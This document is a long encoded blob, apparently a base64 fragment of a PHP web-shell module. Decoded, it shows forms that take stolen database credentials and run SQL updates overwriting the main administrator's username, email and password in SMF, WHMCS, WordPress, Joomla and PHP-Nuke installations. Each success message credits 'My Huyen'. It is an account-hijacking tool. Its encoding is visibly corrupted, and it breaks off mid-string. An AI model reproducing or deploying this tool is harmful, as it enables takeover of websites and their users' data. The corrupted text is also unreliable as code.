0ZXh0IGihbWU9dXJzbWYgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+QahhbmdlIEUtbWFpbCBhZG6pbjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPXlvdXItZW6haWxAeHhuLmNvbSB0eXBlPXRleHQgbmFtZT6lbXNtZiBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziUYWJsZSBwcmVmaXg8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6zbWZfIHRicGU9dGVudCBuYW6lPXByca6mIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8aWiwdXQgdHlwZT6zdWJtaXQgdmFsdWU9J0NoYWinZScgPjwvZm9ybTu8LaNlbnRlcju8LoRkPjwvdHI+PC90YWJsZTu8LaNlbnRlcjuiOwp9ZWxzZXsKJGRiaHNtZiA9ICRfUE9TVFsnZGJoca6mJ607CiRkYmizbWYgID0gJF9QT6NUWydkYmizbWYnXTsKJGRidXNtZiA9ICRfUE9TVFsnZGJ6ca6mJ607CiRkYnBzbWYgID0gJF9QT6NUWydkYnBzbWYnXTsKICAgICAgICAgQG6icoFsXaNvbmilYoQoJGRiaHNtZiwkZGJ6ca6mLCRkYnBzbWYpOwogICAgICAgICBAbXlzcWxfcaVsZWN0XaRiKCRkYmizbWYpOwoKJHVyca6mPXN0cl9yZXBsYWNlKCJcJyIsIiciLCR6cnNtZik7CiRzZXRfdXJzbWYgPSAkX6BPU6RbJoVyca6mJ607CgokZW6zbWY9coRyXoJlcGxhYaUoIlwnIiwiJyIsJGVtca6mKTsKJHNldF9lbXNtZiA9ICRfUE9TVFsnZW6zbWYnXTsKCiRzbWZfcHJlZmluID0gJF9QT6NUWydwcnNtZiddOwoKJHRhYmxlXaihbWUzID0gJHNtZl9wcmVmaXguIm6lbWJlcnMiIDsKCiRsZWNvbmd0aGllbjcgPSAiVVBEQVRFICR0YWJsZV9uYW6lMyBTRVQgbWVtYmVyXaihbWUgPSciLiRzZXRfdXJzbWYuIicgV0hFUkUgaWRfbWVtYmVyID0nMSciOwokbGVjbaindGhpZWuuID0gIlVQREFURSAkdGFibGVfbmFtZTMgU0VUIGVtYWlsXaFkZHJlcoMgPSciLiRzZXRfZW6zbWYuIicgV0hFUkUgaWRfbWVtYmVyID0nMSciOwoKJGxlYa9uZoRoaWVuNyA9ICJVUERBVEUgJHRhYmxlXaihbWUzIFNFVCBtZW6iZXJOYW6lID0nIiukcaV0XoVyca6mLiInIFdIRVJFIElEX06FTUJFUiA9JzEnIjsKJGxlYa9uZoRoaWVuOCA9ICJVUERBVEUgJHRhYmxlXaihbWUzIFNFVCBlbWFpbEFkZHJlcoMgPSciLiRzZXRfZW6zbWYuIicgV0hFUkUgSURfTUVNQkVSID0nMSciOwoKJG9rND6AbXlzcWxfcXVlcnkoJGxlYa9uZoRoaWVuNyk7CiRvazQ9QG6icoFsXoF6ZXJiKCRsZWNvbmd0aGllbjgpOwoKaWYoJG9rNCl7CmVjaG8gIjxzYoJpcHQ+YWxlcnQoJ6NNRiB6cGRhdGUgcoVjYaVzcyAuIENvcHlyaWdodCBCeSBNeSBIdXllbiA7KScpOzwvcaNyaXB0PiI7Cn0KfQoKLy9XSE6DUwppZiAoaXNzZXQoJF9QT6NUWydoaG6jcyddKSkKewplYahvICI8YaVudGVyPjx0YWJsZSBiboJkZXI9MCBoaWR0aD0nMTAwJSc+Cjx0cju8dGQ+CjxjZWi0ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziDaGFuZaUgV0hNQ6MgSWimbzxicjiQYXRjaCBDbai0cm9sIFBhbmVsIDogWoBhdGNoXS9hZG6pbjxicjiQYXRoIENvbmZpZyAeIFtwYXRjaF0vYa9uZmlndXJhdGlvbiiwaHA8LaZvbnQ+PC9jZWi0ZXI+CiAgICA8YaVudGVyPjxmboJtIG6ldGhvZD6QT6NUIGFjdGlvbj0nJzu8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPk6icoFsIEhvcoQ8LaZvbnQ+PGJyPjxpbnB6dCBaYWx6ZT6sbaNhbGhvcoQgdHlwZT60ZXh0IGihbWU9ZGJodahtIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIGihbWU8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6oaG6jcyB0eXBlPXRleHQgbmFtZT6kYmioaG0gcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+REIgdXNlcjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPXJvboQgdHlwZT60ZXh0IGihbWU9ZGJ6dahtIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIHBhcoNoboJkPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9YWRtaWugdHlwZT6wYXNzda9yZCBuYW6lPWRicHdobSBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziDaGFuZaUgdXNlciBhZG6pbjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPUtibUxqbmsgdHlwZT60ZXh0IGihbWU9dXJoaG0gcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+QahhbmdlIHBhcoNoboJkIGFkbWluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9SoltTGpuayB0eXBlPXBhcoNoboJkIGihbWU9cHNoaG0gcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxpbnB6dCB0eXBlPXN6Ym6pdCBaYWx6ZT0nQahhbmdlJyA+PC9mboJtPjwvYaVudGVyPjwvdGQ+PC90cju8LoRhYmxlPjwvYaVudGVyPiI7Cn6lbHNlewokZGJodahtID0gJF9QT6NUWydkYmhoaG0nXTsKJGRibndobSAgPSAkX6BPU6RbJaRibndobSddOwokZGJ6dahtID0gJF9QT6NUWydkYnVoaG0nXTsKJGRicHdobSAgPSAkX6BPU6RbJaRicHdobSddOwogICAgICAgICBAbXlzcWxfYa9ubmVjdCgkZGJodahtLCRkYnVoaG0sJGRicHdobSk7CiAgICAgICAgIEBteXNxbF9zZWxlYoRfZGIoJGRibndobSk7CgokdXJoaG09coRyXoJlcGxhYaUoIlwnIiwiJyIsJHVydahtKTsKJHNldF96cndobSA9ICRfUE9TVFsndXJoaG0nXTsKCiRwcodobT6zdHJfcmVwbGFjZSgiXCciLCInIiwkcHNoaG0pOwokcGFzc69oaG0gPSAkX6BPU6RbJoBzdahtJ607CiRzZXRfcHNoaG0gPSBtZDUoJHBhcoNfdahtKTsKCiRsZWNvbmd0aGllbjkgPSAiVVBEQVRFIHRibGFkbWlucyBTRVQgdXNlcmihbWUgPSciLiRzZXRfdXJoaG0uIicgV0hFUkUgaWQgPScxJyI7CiRsZWNvbmd0aGllbjEwID0gIlVQREFURSB0YmxhZG6pbnMgU0VUIHBhcoNoboJkID0nIiukcaV0XoBzdahtLiInIFdIRVJFIGlkID0nMSciOwoKJG9rNT6AbXlzcWxfcXVlcnkoJGxlYa9uZoRoaWVuOSk7CiRvazU9QG6icoFsXoF6ZXJiKCRsZWNvbmd0aGllbjEwKTsKCmlmKCRvazUpewplYahvICI8caNyaXB0PmFsZXJ0KCdXSE6DUyB6cGRhdGUgcoVjYaVzcyAuIENvcHlyaWdodCBCeSBNeSBIdXllbiA7KScpOzwvcaNyaXB0PiI7Cn0KfQoKLy9XboJkUHJlcoMKaWYgKGlzcaV0KCRfUE9TVFsnda9yZHByZXNzJ60pKQp7CmVjaG8gIjxjZWi0ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJzuKPHRyPjx0ZDuKPGNlbnRlcju8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSBXboJkUHJlcoMgSWimbzxicjiQYXRjaCBDbai0cm9sIFBhbmVsIDogWoBhdGNoXS9ocC6hZG6pbjxicjiQYXRoIENvbmZpZyAeIFtwYXRjaF0vdoAtYa9uZmlnLnBocDwvZm9udDu8LaNlbnRlcjuKICAgIDxjZWi0ZXI+PGZvcm0gbWV0aG9kPVBPU6QgYWN0aW9uPScnPjxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udDu8YnI+PGlucHV0IHZhbHVlPWxvYaFsaG9zdCB0eXBlPXRleHQgbmFtZT6kYmhocCBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziEQiBuYW6lPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9da9yZHByZXNzIHRicGU9dGVudCBuYW6lPWRibndwIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6yba90IHRicGU9dGVudCBuYW6lPWRidXdwIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIHBhcoNoboJkPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9YWRtaWugdHlwZT6wYXNzda9yZCBuYW6lPWRicHdwIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSB6caVyIGFkbWluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9SoltTGpuayB0eXBlPXRleHQgbmFtZT66cndwIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSBwYXNzda9yZCBhZG6pbjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPUtibUxqbmsgdHlwZT6wYXNzda9yZCBuYW6lPXBzdoAgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+VGFibGUgcHJlZmluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9doBfIHRicGU9dGVudCBuYW6lPXBydoAgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxpbnB6dCB0eXBlPXN6Ym6pdCBaYWx6ZT0nQahhbmdlJyA+PC9mboJtPjwvYaVudGVyPjwvdGQ+PC90cju8LoRhYmxlPjwvYaVudGVyPiI7Cn6lbHNlewokZGJodoAgPSAkX6BPU6RbJaRiaHdwJ607CiRkYmiocCAgPSAkX6BPU6RbJaRibndwJ607CiRkYnVocCA9ICRfUE9TVFsnZGJ6doAnXTsKJGRicHdwICA9ICRfUE9TVFsnZGJwdoAnXTsKICAgICAgICAgQG6icoFsXaNvbmilYoQoJGRiaHdwLCRkYnVocCwkZGJwdoApOwogICAgICAgICBAbXlzcWxfcaVsZWN0XaRiKCRkYmiocCk7CgokdXJocD6zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJocCk7CiRzZXRfdXJocCA9ICRfUE9TVFsndXJocCddOwoKJHBzdoA9coRyXoJlcGxhYaUoIlwnIiwiJyIsJHBzdoApOwokcGFzc69ocCA9ICRfUE9TVFsncHNocCddOwokcaV0XoBzdoAgPSBtZDUoJHBhcoNfdoApOwoKJHdwXoByZWZpeCA9ICRfUE9TVFsncHJocCddOwoKJHRhYmxlXaihbWU0ID0gJHdwXoByZWZpeCuidXNlcnMiIDsKCiRsZWNvbmd0aGllbjExID0gIlVQREFURSAkdGFibGVfbmFtZTQgU0VUIHVzZXJfbG9naWugPSciLiRzZXRfdXJocCuiJyBXSEVSRSBJRCA9JzEnIjsKJGxlYa9uZoRoaWVuMTIgPSAiVVBEQVRFICR0YWJsZV9uYW6lNCBTRVQgdXNlcl9wYXNzID0nIiukcaV0XoBzdoAuIicgV0hFUkUgSUQgPScxJyI7CgokbasaPUBteXNxbF9xdWVyeSgkbGVjbaindGhpZWuxMSk7CiRvazY9QG6icoFsXoF6ZXJiKCRsZWNvbmd0aGllbjEyKTsKCmlmKCRvazYpewplYahvICI8caNyaXB0PmFsZXJ0KCdXboJkUHJlcoMgdXBkYXRlIHN6YaNlcoMgLiBDboBicmlnaHQgQnkgTXkgSHViZWugOyknKTs8LoNjcmlwdDuiOwp9Cn0KCi8vSm9vbWxhCmlmIChpcoNldCgkX6BPU6RbJapvba6sYSddKSkKewplYahvICI8YaVudGVyPjx0YWJsZSBiboJkZXI9MCBoaWR0aD0nMTAwJSc+Cjx0cju8dGQ+CjxjZWi0ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziDaGFuZaUgSm9vbWxhIEluZm88YnI+UGF0YaggQa9udHJvbCBQYWilbCAeIFtwYXRjaF0vYWRtaWipcoRyYXRvcjxicjiQYXRoIENvbmZpZyAeIFtwYXRjaF0vYa9uZmlndXJhdGlvbiiwaHA8LaZvbnQ+PC9jZWi0ZXI+CiAgICA8YaVudGVyPjxmboJtIG6ldGhvZD6QT6NUIGFjdGlvbj0nJzu8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPk6icoFsIEhvcoQ8LaZvbnQ+PGJyPjxpbnB6dCBaYWx6ZT6sbaNhbGhvcoQgdHlwZT60ZXh0IGihbWU9ZGJoam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIGihbWU8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6qba9tbGEgdHlwZT60ZXh0IGihbWU9ZGJuam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6yba90IHRicGU9dGVudCBuYW6lPWRidWpvcyBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziEQiBwYXNzda9yZDxicju8LaZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHRicGU9cGFzcodvcmQgbmFtZT6kYnBqboMgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+QahhbmdlIHVzZXIgYWRtaWu8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6LeW6MamirIHRicGU9dGVudCBuYW6lPXVyam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSBwYXNzda9yZCBhZG6pbjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPUtibUxqbmsgdHlwZT6wYXNzda9yZCBuYW6lPXBzam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPlRhYmxlIHByZWZpeDxicju8LaZvbnQ+PGlucHV0IHZhbHVlPWpvc68gdHlwZT60ZXh0IGihbWU9cHJqboMgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxpbnB6dCB0eXBlPXN6Ym6pdCBaYWx6ZT0nQahhbmdlJyA+PC9mboJtPjwvYaVudGVyPjwvdGQ+PC90cju8LoRhYmxlPjwvYaVudGVyPiI7Cn6lbHNlewokZGJoam9zID0gJF9QT6NUWydkYmhqboMnXTsKJGRibmpvcyAgPSAkX6BPU6RbJaRibmpvcyddOwokZGJ6am9zID0gJF9QT6NUWydkYnVqboMnXTsKJGRicGpvcyAgPSAkX6BPU6RbJaRicGpvcyddOwogICAgICAgICBAbXlzcWxfYa9ubmVjdCgkZGJoam9zLCRkYnVqboMsJGRicGpvcyk7CiAgICAgICAgIEBteXNxbF9zZWxlYoRfZGIoJGRibmpvcyk7CgokdXJqboM9coRyXoJlcGxhYaUoIlwnIiwiJyIsJHVyam9zKTsKJHNldF96cmpvcyA9ICRfUE9TVFsndXJqboMnXTsKCiRwcapvcz6zdHJfcmVwbGFjZSgiXCciLCInIiwkcHNqboMpOwokcGFzc69qboMgPSAkX6BPU6RbJoBzam9zJ607CiRzZXRfcHNqboMgPSBtZDUoJHBhcoNfam9zKTsKCiRqboNfcHJlZmluID0gJF9QT6NUWydwcmpvcyddOwoKJHRhYmxlXaihbWU6ID0gJGpvc69wcmVmaXguInVzZXJzIiA7CgokbGVjbaindGhpZWuxMyA9ICJVUERBVEUgJHRhYmxlXaihbWU6IFNFVCB6caVybmFtZSA9JyIuJHNldF96cmpvcyuiJyBXSEVSRSBpZCA9JzYyJyI7CiRsZWNvbmd0aGllbjE0ID0gIlVQREFURSAkdGFibGVfbmFtZTUgU0VUIHBhcoNoboJkID0nIiukcaV0XoBzam9zLiInIFdIRVJFIGlkID0nNjInIjsKCiRvazc9QG6icoFsXoF6ZXJiKCRsZWNvbmd0aGllbjEzKTsKJG9rNz6AbXlzcWxfcXVlcnkoJGxlYa9uZoRoaWVuMTQpOwoKaWYoJG9rNyl7CmVjaG8gIjxzYoJpcHQ+YWxlcnQoJ0pvba6sYSB6cGRhdGUgcoVjYaVzcyAuIENvcHlyaWdodCBCeSBNeSBIdXllbiA7KScpOzwvcaNyaXB0PiI7Cn0KfQoKLy9QSFAtTlVLRQppZiAoaXNzZXQoJF9QT6NUWydwaHAtbnVrZSddKSkKewplYahvICI8YaVudGVyPjx0YWJsZSBiboJkZXI9MCBoaWR0aD0nMTAwJSc+Cjx0cju8dGQ+CjxjZWi0ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziDaGFuZaUgUEhQLUiVS0UgSWimbzxicjiQYXRjaCBDbai0cm9sIFBhbmVsIDogWoBhdGNoXS9hZG6pbiiwaHA8YnI+UGF0aCBDbaimaWcgOiBbcGF0YahdLaNvbmZpZyiwaHA8LaZvbnQ+PC9jZWi0ZXI+CiAgICA8YaVudGVyPjxmboJtIG6ldGhvZD6QT6NUIGFjdGlvbj0nJzu8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPk6icoFsIEhvcoQ8LaZvbnQ+PGJyPjxpbnB6dCBaYWx6ZT6sbaNhbGhvcoQgdHlwZT60ZXh0IGihbWU9ZGJocGirIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIGihbWU8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6waHBudWtlIHRicGU9dGVudCBuYW6lPWRibnBuayBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziEQiB6caVyPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT6kYnVwbmsgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+REIgcGFzcodvcmQ8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6hZG6pbiB0eXBlPXBhcoNoboJkIGihbWU9ZGJwcGirIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSB6caVyIGFkbWluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9SoltTGpuayB0eXBlPXRleHQgbmFtZT66cnBuayBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziDaGFuZaUgcGFzcodvcmQgYWRtaWu8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6LeW6MamirIHRicGU9cGFzcodvcmQgbmFtZT6wcoBuayBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziUYWJsZSBwcmVmaXg8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6udWtlXyB0eXBlPXRleHQgbmFtZT6wcnBuayBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGlucHV0IHRicGU9coVibWl0IHZhbHVlPSdDaGFuZaUnIDu8LaZvcm0+PC9jZWi0ZXI+PC90ZDu8LoRyPjwvdGFibGU+PC9jZWi0ZXI+IjsKfWVscaV7CiRkYmhwbmsgPSAkX6BPU6RbJaRiaHBuayddOwokZGJucGirICA9ICRfUE9TVFsnZGJucGirJ607CiRkYnVwbmsgPSAkX6BPU6RbJaRidXBuay